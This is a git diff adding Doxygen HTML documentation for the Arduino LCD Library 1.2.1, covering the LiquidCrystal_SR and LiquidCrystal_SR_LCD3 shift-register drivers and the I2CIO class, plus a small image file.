+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h.html new file mode 100644 index 0000000..5e7f2d7 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h.html @@ -0,0 +1,148 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + + + +

+Classes

class  LiquidCrystal_SR

+Defines

#define SR_EN_BIT   0x80
#define SR_RS_BIT   0x04
#define TWO_WIRE   204
+

Define Documentation

+ +
+
+ + + + +
#define SR_EN_BIT   0x80
+
+
+ +

Definition at line 92 of file LiquidCrystal_SR.h.

+ +
+
+ +
+
+ + + + +
#define SR_RS_BIT   0x04
+
+
+ +

Definition at line 91 of file LiquidCrystal_SR.h.

+ +
+
+ +
+
+ + + + +
#define TWO_WIRE   204
+
+
+ +

Definition at line 90 of file LiquidCrystal_SR.h.

+ +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h_source.html new file mode 100644 index 0000000..71640bf --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r_8h_source.html @@ -0,0 +1,210 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR.h
+00013 //  Connects an LCD using 2 or 3 pins from the Arduino, via an 8-bit 
+00014 // ShiftRegister (SR from now on).
+00015 // 
+00016 // @brief 
+00017 // This is a port of the ShiftRegLCD library from raron and ported to the
+00018 // LCD library.
+00019 //
+00020 // The functionality provided by this class and its base class is identical
+00021 // to the original functionality of the Arduino LiquidCrystal library and can
+00022 // be used as such.
+00023 //
+00024 // Modified to work serially with the shiftOut() function, an 8-bit
+00025 // unlatched, no-tristate, unidirectional SIPO (Serial-In-Parallel-Out)
+00026 // shift register (IE a very simple SR), and an LCD in 4-bit mode.
+00027 // Any such shift register should do (pref. 74LS family IC's for 2-wire).
+00028 // I used 74LS164, for the reason that's what I had at hand.
+00029 //
+00030 // Connection description:
+00031 //
+00032 // SR output:
+00033 // Bit  #0   - N/C - not connected, used to hold a zero
+00034 // Bit  #1   - N/C
+00035 // Bit  #2   - connects to RS (Register Select) on the LCD
+00036 // Bits #3-6 - connects to LCD data inputs D4 - D7.
+00037 // Bit  #7   - enables the LCD enable-puls (via the diode-resistor AND "gate")
+00038 //
+00039 // 2 or 3 Pins required from the Arduino for Data, Clock and (optional) Enable
+00040 // If not using Enable, the Data pin will be used for the enable signal.
+00041 // 2 wire mode can be indicated by:
+00042 // - ommitting the enable pin in constructor
+00043 // - defining the same pin for Enable as for Data in constructor
+00044 // - by using the token TWO_WIRE for the enable pin.
+00045 //
+00046 // Data and Clock outputs/pins goes to the shiftregister.
+00047 // LCD RW-pin hardwired to LOW (only writing to LCD).
+00048 // Busy Flag (BF, data bit D7) is not read.
+00049 //
+00050 //  Original project homepage: http://code.google.com/p/arduinoshiftreglcd/
+00051 //
+00052 //
+00053 // History
+00054 // 2012.03.29  bperrybap - can now eliminate enable pin in constructor for two wire mode.
+00055 // 2011.10.29  fmalpartida - adaption of the library to the LCD class hierarchy.
+00056 // 2011.07.02  Fixed a minor flaw in setCursor function. No functional change, 
+00057 //             just a bit more memory efficient.
+00058 //             Thanks to CapnBry (from google code and github) who noticed it.
+00059 //             URL to his version of shiftregLCD:
+00060 //             https://github.com/CapnBry/HeaterMeter/commit/c6beba1b46b092ab0b33bcbd0a30a201fd1f28c1
+00061 // 2009.07.30  raron - minor corrections to the comments.
+00062 //             Fixed timing to datasheet safe. Fixed keyword highlights.
+00063 // 2009.07.28  Mircho / raron - a new modification to the schematics, and a
+00064 //             more streamlined interface
+00065 // 2009.07.27  Thanks to an excellent suggestion from mircho at the Arduiono 
+00066 //             playgrond forum, the number of wires now required is only two!
+00067 // 2009.07.25  raron - Fixed comments. I really messed up the comments before 
+00068 //             posting this, so I had to fix it.
+00069 //             Renamed a function, but no improvements or functional changes.
+00070 // 2009.07.23  Incorporated some proper initialization routines
+00071 //             inspired (lets say copy-paste-tweaked) from LiquidCrystal
+00072 //             library improvements from LadyAda.
+00073 // 2009.05.23  raron - first version, but based mostly (as in almost verbatim)
+00074 //             on the "official" LiquidCrystal library.
+00075 //
+00076 //
+00077 //
+00078 // @author F. Malpartida - fmalpartida@gmail.com
+00079 // ---------------------------------------------------------------------------
+00080 #ifndef _LIQUIDCRYSTAL_SR_
+00081 #define _LIQUIDCRYSTAL_SR_
+00082 
+00083 #include <inttypes.h>
+00084 #include "LCD.h"
+00085 #include "FastIO.h"
+00086 
+00087 
+00088 // two-wire indicator constant
+00089 // ---------------------------------------------------------------------------
+00090 #define TWO_WIRE  204
+00091 #define SR_RS_BIT 0x04
+00092 #define SR_EN_BIT 0x80
+00093 
+00094 class LiquidCrystal_SR : public LCD
+00095 {
+00096 public:
+00108    LiquidCrystal_SR ( uint8_t srdata, uint8_t srclock, uint8_t enable=TWO_WIRE );
+00109    
+00122    virtual void send(uint8_t value, uint8_t mode);
+00123    
+00124    
+00134    void setBacklightPin ( uint8_t pin, t_backlighPol pol );
+00135    
+00145    void setBacklight ( uint8_t mode );
+00146    
+00147 private:
+00148    
+00154    void init ( uint8_t srdata, uint8_t srclock, uint8_t enable, uint8_t lines, 
+00155               uint8_t font );
+00156    
+00161    void shiftIt (uint8_t val);
+00162    
+00163    uint8_t _enable_pin;  // Enable Pin
+00164    uint8_t _two_wire;    // two wire mode
+00165    
+00166    fio_register _srDataRegister; // Serial Data pin
+00167    fio_bit _srDataBit;
+00168    fio_register _srClockRegister; // Clock Pin
+00169    fio_bit _srClockBit;
+00170    fio_register _srEnableRegister; // Enable Pin
+00171    fio_bit _srEnableBit;
+00172    
+00173 };
+00174 
+00175 #endif
+00176 
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html new file mode 100644 index 0000000..8049852 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp.html @@ -0,0 +1,147 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "FastIO.h"
+#include "LiquidCrystal_SR_LCD3.h"
+
+

Go to the source code of this file.

+ + + + + +

+Defines

#define SR_EN_BIT   B00010000
#define SR_RS_BIT   B01000000
#define SR_RW_BIT   B00100000
+

Define Documentation

+ +
+
+ + + + +
#define SR_EN_BIT   B00010000
+
+
+ +

Definition at line 167 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+ +
+
+ + + + +
#define SR_RS_BIT   B01000000
+
+
+ +

Definition at line 169 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+ +
+
+ + + + +
#define SR_RW_BIT   B00100000
+
+
+ +

Definition at line 168 of file LiquidCrystal_SR_LCD3.cpp.

+ +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html new file mode 100644 index 0000000..310997e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8cpp_source.html @@ -0,0 +1,295 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Originally Created by Francisco Malpartida on 2011/08/20.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // 2012/01/21 - Marc MERLIN
+00010 // This library, LiquidCrystal_SR_LCD3, was forked off LiquidCrystal_SR which
+00011 // used a different wiring than the Pebble and Pebblev2 (just released by
+00012 // freetronics in the arduino miniconf as part of linux.conf.au 2012) and
+00013 // therefore this code organizes the output data differently.
+00014 //
+00015 // Upstream source for this module is
+00016 // https://github.com/marcmerlin/NewLiquidCrystal
+00017 //
+00018 // Thread Safe: No
+00019 // Extendable: Yes
+00020 //
+00021 // @file LiquidCrystal_SR_LCD3.h
+00022 //
+00023 //  Connects an LCD using 3 pins from the Arduino, via an 8-bit 
+00024 //  ShiftRegister (SR from now on).
+00025 //  The original port source for this module is https://github.com/marcmerlin/NewLiquidCrystal
+00026 //  The 'FastIO' merge has madethis code 4 times faster.
+00027 // 
+00028 // @brief 
+00029 // This is a port of the ShiftRegLCD library from raron and ported to the
+00030 // LCD library.
+00031 //
+00032 // The functionality provided by this class and its base class is identical
+00033 // to the original functionality of the Arduino LiquidCrystal library and can
+00034 // be used as such.
+00035 //
+00036 // Pinout for this code is used by derivatives of the original LCD3Wire page:
+00037 // http://www.arduino.cc/playground/Code/LCD3wires
+00038 //
+00039 // This includes the LCA (linux.conf.au) Arduino Miniconf Pebble: 
+00040 // http://shieldlist.org/luke-weston/pebble
+00041 // https://github.com/lukeweston/Pebble
+00042 //
+00043 // It also includes the Pebble v2:
+00044 // http://www.arduinominiconf.org/index.php/Pebble_V2.0_Instructions
+00045 // http://www.freetronics.com/pages/pebble-v2
+00046 // https://github.com/lukeweston/pebble20/blob/master/README.md
+00047 // https://github.com/lukeweston/pebble20/blob/master/pebble-sch.pdf
+00048 //
+00049 // Shiftregister connection description:
+00050 // MC14094 input:  Arduino digital pin 2=Clock, pin 3=Data, pin 4=Strobe
+00051 // MC14094 output: Q8=DB4, Q7=DB5, Q6=DB6, Q5=DB7, Q4=E, Q3=RW, Q2=RS, Q1=None
+00052 //
+00053 //   +--------------------------------------------+
+00054 //   |    Arduino (ATMega 168 or 328)             |
+00055 //   |    D02           D03           D04         |
+00056 //   +----+-------------+-------------+-----------+
+00057 //        |4            |5            |6
+00058 //        |1            |2            |3
+00059 //   +----+-------------+-------------+-----------+
+00060 //   |    Strobe        Data          Clock       |
+00061 //   |    MC14094 8-bit shift/latch register      |
+00062 //   |    Q8   Q7   Q6   Q5   Q4   Q3   Q2   Q1   |
+00063 //   +----+----+----+----+----+----+----+----+----+
+00064 //        |11  |12  |13  |14  |7   |6   |5   |4
+00065 //        |11  |12  |13  |14  |6   |5   |4
+00066 //   +----+----+----+----+----+----+----+---------+
+00067 //   |    DB4  DB5  DB6  DB7  E    RW   RS        |
+00068 //   |               LCD KS0066                   |
+00069 //   +--------------------------------------------+
+00070 //
+00071 // 3 Pins required from the Arduino for Data, Clock, and Enable/Strobe.
+00072 //
+00073 // This code was inspired from LiquidCrystal_SR from
+00074 // http://code.google.com/p/arduinoshiftreglcd/
+00075 // but was written for implementing LiquidCrystal support for the Pebble
+00076 // and Pebblev2 (see below).
+00077 // The Pebbles's LCD and shift register wiring were inspired from this
+00078 // original page:
+00079 // http://www.arduino.cc/playground/Code/LCD3wires
+00080 // 
+00081 // Pebbles and the LCD3Wires design are compatible hardware-wise, but
+00082 // the LCD3Wire code does not work with arduino 1.0 anymore and is generally
+00083 // quite limited in functionality compared to this framework that provides the
+00084 // entire LiquidDisplay functionality.
+00085 // Why not just use the LiquidCrystal_SR pinout?
+00086 // - LCD3Wire was first and therefore have hardware that was designed with 
+00087 //   incompatible (IMO better if you don't mind 3 wires) pinout.
+00088 // - The pinout used here is same saner (the 4 bits for the LCD are all in one 
+00089 //   nibble of the shift register, not spread across 2 like in the
+00090 //   LiquidCrystal_SR pinout)
+00091 //
+00092 // Note however that LiquidCrystal_SR while a bit more complex wiring and code
+00093 // wise, supports non latching shift registers and it a few percent faster than
+00094 // this code since it can address the LCD enable pin without having to send 
+00095 // a pulse through the shift register like the LCD3Wires setup requires.
+00096 //  
+00097 // This code makes sure to properly follow the specifications when talking
+00098 // to the LCD while using minimal delays (it's faster than the LCD3wire and aiko
+00099 // pebble code).
+00100 //
+00101 // @author Marc MERLIN - marc_soft<at>merlins.org.
+00102 // ---------------------------------------------------------------------------
+00103 #include <stdio.h>
+00104 #include <string.h>
+00105 #include <inttypes.h>
+00106 
+00107 #if (ARDUINO <  100)
+00108 #include <WProgram.h>
+00109 #else
+00110 #include <Arduino.h>
+00111 #endif
+00112 #include "FastIO.h"
+00113 #include "LiquidCrystal_SR_LCD3.h"
+00114 
+00115 
+00116 // STATIC helper functions
+00117 // ---------------------------------------------------------------------------
+00118 
+00119 
+00120 // CONSTRUCTORS
+00121 // ---------------------------------------------------------------------------
+00122 // Assuming 1 line 8 pixel high font
+00123 LiquidCrystal_SR_LCD3::LiquidCrystal_SR_LCD3 ( uint8_t srdata, uint8_t srclock, 
+00124                                               uint8_t strobe )
+00125 {
+00126         init ( srdata, srclock, strobe, 1, 0 );
+00127 }
+00128 
+00129 
+00130 // PRIVATE METHODS
+00131 // ---------------------------------------------------------------------------
+00132 
+00133 //
+00134 // init
+00135 void LiquidCrystal_SR_LCD3::init( uint8_t srdata, uint8_t srclock, uint8_t strobe, 
+00136                                  uint8_t lines, uint8_t font )
+00137 {
+00138         // Initialise private variables
+00139         // translate all pins to bits and registers
+00140         // pinMode to OUTPUT, Output LOW
+00141    
+00142    _srdata_bit = fio_pinToBit(srdata);
+00143    _srdata_register = fio_pinToOutputRegister(srdata);
+00144    _srclock_bit = fio_pinToBit(srclock);
+00145    _srclock_register = fio_pinToOutputRegister(srclock);
+00146    _strobe_bit = fio_pinToBit(strobe);
+00147    _strobe_register = fio_pinToOutputRegister(strobe);
+00148    
+00149    // Little trick to force a pulse of the LCD enable bit and make sure it is
+00150    // low before we start further writes since this is assumed.
+00151    
+00152    write4bits(0);
+00153    
+00154    _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x10DOTS;
+00155 }
+00156 
+00157 // PUBLIC METHODS
+00158 // ---------------------------------------------------------------------------
+00159 
+00160 
+00161 /************ low level data pushing commands **********/
+00162 
+00163 // Code below was borrowed from LCD3Wire from
+00164 // http://www.arduino.cc/playground/Code/LCD3wires
+00165 
+00166 // bitmasks for control bits on shift register
+00167 #define SR_EN_BIT B00010000   // LCD Data enable bit.
+00168 #define SR_RW_BIT B00100000   // RW can be pinned low since we only send
+00169 #define SR_RS_BIT B01000000   // LOW: command. HIGH: character.
+00170 
+00171 void LiquidCrystal_SR_LCD3::send(uint8_t value, uint8_t mode) 
+00172 {
+00173    uint8_t nibble;
+00174    
+00175    mode = mode ? SR_RS_BIT : 0; // RS bit; LOW: command.  HIGH: character.
+00176    
+00177    nibble = value >> 4; // Get high nibble.
+00178    write4bits(nibble | mode);
+00179    
+00180    //delay(1); // This was in the LCD3 code but does not seem needed -- merlin
+00181    
+00182    nibble = value & 15; // Get low nibble
+00183    write4bits(nibble | mode);
+00184 }
+00185 
+00186 void LiquidCrystal_SR_LCD3::write4bits(uint8_t nibble) 
+00187 {
+00188    nibble &= ~SR_RW_BIT; // set RW LOW (we do this always since we only write).
+00189    
+00190    // Send a High transition to display the data that was pushed
+00191    nibble |=  SR_EN_BIT; // LCD Data Enable HIGH
+00192    _pushOut(nibble);
+00193    nibble &= ~SR_EN_BIT; // LCD Data Enable LOW
+00194    _pushOut(nibble); 
+00195 }
+00196 
+00197 // push byte to shift register and on to LCD
+00198 void LiquidCrystal_SR_LCD3::_pushOut(uint8_t nibble) 
+00199 {
+00200    // Make data available for pushing to the LCD.
+00201    fio_shiftOut(_srdata_register, _srdata_bit, _srclock_register, _srclock_bit, nibble, LSBFIRST);
+00202    
+00203    // Make new data active.
+00204    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00205    {
+00206       fio_digitalWrite_HIGH(_strobe_register, _strobe_bit);
+00207       waitUsec( 1 ); // strobe pulse must be >450ns (old code had 10ms)
+00208       fio_digitalWrite_SWITCHTO(_strobe_register, _strobe_bit,LOW);
+00209    }
+00210    waitUsec( 40 ); // commands need > 37us to settle
+00211 }
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html new file mode 100644 index 0000000..1b75e74 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h.html @@ -0,0 +1,95 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_SR_LCD3
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html new file mode 100644 index 0000000..9888666 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___s_r___l_c_d3_8h_source.html @@ -0,0 +1,129 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_SR_LCD3.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This module is a port by Marc MERLIN <marc_soft<at>merlins.org>
+00007 // See .cpp file for hardware details.
+00008 // ---------------------------------------------------------------------------
+00009 #ifndef _LIQUIDCRYSTAL_SR_LCD3_
+00010 #define _LIQUIDCRYSTAL_SR_LCD3_
+00011 
+00012 #include <inttypes.h>
+00013 #include "LCD.h"
+00014 
+00015 
+00016 class LiquidCrystal_SR_LCD3 : public LCD
+00017 {
+00018 public:
+00030    LiquidCrystal_SR_LCD3 ( uint8_t srdata, uint8_t srclock, uint8_t enable );
+00031    
+00044    virtual void send(uint8_t value, uint8_t mode);
+00045    
+00046    
+00047 private:
+00048    
+00054    void init ( uint8_t srdata, uint8_t srclock, uint8_t enable, uint8_t lines, 
+00055               uint8_t font );
+00061    void write4bits ( uint8_t );
+00062    void _pushOut ( uint8_t );
+00063    
+00064    // Serial Data pin
+00065    fio_bit _srdata_bit;
+00066    fio_register _srdata_register;
+00067    
+00068    // Clock Pin
+00069    fio_bit _srclock_bit;
+00070    fio_register _srclock_register;
+00071    
+00072    // Enable Pin
+00073    fio_bit _strobe_bit;
+00074    fio_register _strobe_register;
+00075 };
+00076 
+00077 #endif
+00078 
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/annotated.html b/libraries/LiquidCrystal/docs/html/annotated.html new file mode 100644 index 0000000..4fab574 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/annotated.html @@ -0,0 +1,95 @@ + + + + +LCD Library: Class List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
Class List
+
+
+
Here are the classes, structs, unions and interfaces with brief descriptions:
+ + + + + + + +
I2CIO
LCD
LiquidCrystal
LiquidCrystal_I2C
LiquidCrystal_SR
LiquidCrystal_SR2W
LiquidCrystal_SR3W
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/bc_s.png b/libraries/LiquidCrystal/docs/html/bc_s.png new file mode 100644 index 0000000000000000000000000000000000000000..e4018628b5b45cb4301037485a29d7d74ac22138 GIT binary patch literal 677 zcmV;W0$TlvP)X?0Pv5h+5!wElpi=&YL!gfY!djl#UDdPKy97F|A-deTa@qo3BWh1YQIvzmHR^g zFjV4I6pLB7_*vEZk^%p7c7Bh>0`4r^X#gpJE_Vz9fSHKqclcZaV^k3gX%h+1`u||O zZ+BY?7(R=ayr^kXE=E0Dw=$Ud3VJ?9^Cz@hP?388Cw5>9TloOJ>^KczCgj zns2=|0!a|)Yq3{hjL{xyy7|Tk0N}Pe+g9PUTL!4{#;eUhrNd@!_T<>Vu+35c)h>sq ztgb?(6W3oFLz#%?OMEV@{j#4LuDvjVGZ~6hpQT8li5b0yjvK8c4efl+vSz5)P6 zle78)00_Iv5)&E~hnOdcd}L}i+MU>k+Q8#@KjqJJN`gRj(~)RmNrck9ht@LelPtVO zwp(J;k!T=gC#%o(13-^E+g@aqc()pf{+j|0w)AH*Mq$54UjLv#jV$RYpz3Vjg$$=u z>yjfBQOhL=^@+#4#$l|{~}HZ-?1Yy{lI*$N}*YDC`<{+;>_#gMXZdz4NI00000 LNkvXXu0mjfx86dR literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/class_i2_c_i_o-members.html b/libraries/LiquidCrystal/docs/html/class_i2_c_i_o-members.html new file mode 100644 index 0000000..01d0efd --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_i2_c_i_o-members.html @@ -0,0 +1,95 @@ + + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
I2CIO Member List
+
+
+This is the complete list of members for I2CIO, including all inherited members. + + + + + + + + +
begin(uint8_t i2cAddr)I2CIO
digitalRead(uint8_t pin)I2CIO
digitalWrite(uint8_t pin, uint8_t level)I2CIO
I2CIO()I2CIO
pinMode(uint8_t pin, uint8_t dir)I2CIO
portMode(uint8_t dir)I2CIO
read(void)I2CIO
write(uint8_t value)I2CIO
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_i2_c_i_o.html b/libraries/LiquidCrystal/docs/html/class_i2_c_i_o.html new file mode 100644 index 0000000..bee1a49 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_i2_c_i_o.html @@ -0,0 +1,339 @@ + + + + +LCD Library: I2CIO Class Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
I2CIO Class Reference
+
+
+ +

#include <I2CIO.h>

+ +

List of all members.

+ + + + + + + + + + +

+Public Member Functions

int begin (uint8_t i2cAddr)
uint8_t digitalRead (uint8_t pin)
int digitalWrite (uint8_t pin, uint8_t level)
 I2CIO ()
void pinMode (uint8_t pin, uint8_t dir)
void portMode (uint8_t dir)
uint8_t read (void)
int write (uint8_t value)
+

Detailed Description

+
+

Definition at line 41 of file I2CIO.h.

+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + +
I2CIO::I2CIO ()
+
+
+

Constructor method Class constructor constructor.

+ +

Definition at line 44 of file I2CIO.cpp.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + + + + +
int I2CIO::begin (uint8_t i2cAddr)
+
+
+

Initializes the device. This method initializes the device allocating an I2C address. This method is the first method that should be call prior to calling any other method form this class. On initialization all pins are configured as INPUT on the device.

+
Parameters:
+ + +
i2cAddr,:I2C Address where the device is located.
+
+
+
Returns:
1 if the device was initialized correctly, 0 otherwise
+ +

Definition at line 57 of file I2CIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
uint8_t I2CIO::digitalRead (uint8_t pin)
+
+
+

Read a pin from the device. Reads a particular pin from the device. To read a particular pin it has to be configured as INPUT. During initialization all pins are configured as INPUTs by default. Please refer to pinMode or portMode.

+
Parameters:
+ + +
pin[in]Pin from the port to read its status. Range (0..7)
+
+
+
Returns:
Returns the pin status (HIGH, LOW) if the pin is configured as an output, reading its value will always return LOW regardless of its real state.
+ +

Definition at line 153 of file I2CIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
int I2CIO::digitalWrite (uint8_t pin,
uint8_t level 
)
+
+
+

Writes a digital level to a particular pin. Write a level to the indicated pin of the device. For this method to have effect, the pin has to be configured as OUTPUT using the pinMode or portMode methods.

+
Parameters:
+ + +
pin[in]device pin to change level. Range (0..7). level[in] logic level to set the pin at (HIGH, LOW).
+
+
+
Returns:
1 on success, 0 otherwise.
+ +

Definition at line 170 of file I2CIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void I2CIO::pinMode (uint8_t pin,
uint8_t dir 
)
+
+
+

Sets the mode of a particular pin. Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite has no effect on pins which are not declared as output.

+
Parameters:
+ + + +
pin[in]Pin from the I2C IO expander to be configured. Range 0..7
dir[in]Pin direction (INPUT, OUTPUT).
+
+
+ +

Definition at line 76 of file I2CIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void I2CIO::portMode (uint8_t dir)
+
+
+

Sets all the pins of the device in a particular direction. This method sets all the pins of the device in a particular direction. This method is useful to set all the pins of the device to be either inputs or outputs.

+
Parameters:
+ + +
dir[in]Direction of all the pins of the device (INPUT, OUTPUT).
+
+
+ +

Definition at line 93 of file I2CIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
uint8_t I2CIO::read (void )
+
+
+

Reads all the pins of the device that are configured as INPUT. Reads from the device the status of the pins that are configured as INPUT. During initialization all pins are configured as INPUTs by default. Please refer to pinMode or portMode.

+
Parameters:
+ + +
none
+
+
+ +

Definition at line 111 of file I2CIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
int I2CIO::write (uint8_t value)
+
+
+

Write a value to the device. Writes to a set of pins in the device. The value is the binary representation of all the pins in device. The value written is masked with the configuration of the direction of the pins; to change the state of a particular pin with this method, such pin has to be configured as OUTPUT using the portMode or pinMode methods. If no pins have been configured as OUTPUTs this method will have no effect.

+
Parameters:
+ + +
value[in]value to be written to the device.
+
+
+
Returns:
1 on success, 0 otherwise
+ +

Definition at line 130 of file I2CIO.cpp.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h
  • +
  • /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.cpp
  • +
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/class_l_c_d-members.html b/libraries/LiquidCrystal/docs/html/class_l_c_d-members.html new file mode 100644 index 0000000..95c0aa6 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/class_l_c_d-members.html @@ -0,0 +1,120 @@ + + + + +LCD Library: Member List + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
+
LCD Member List
+
+
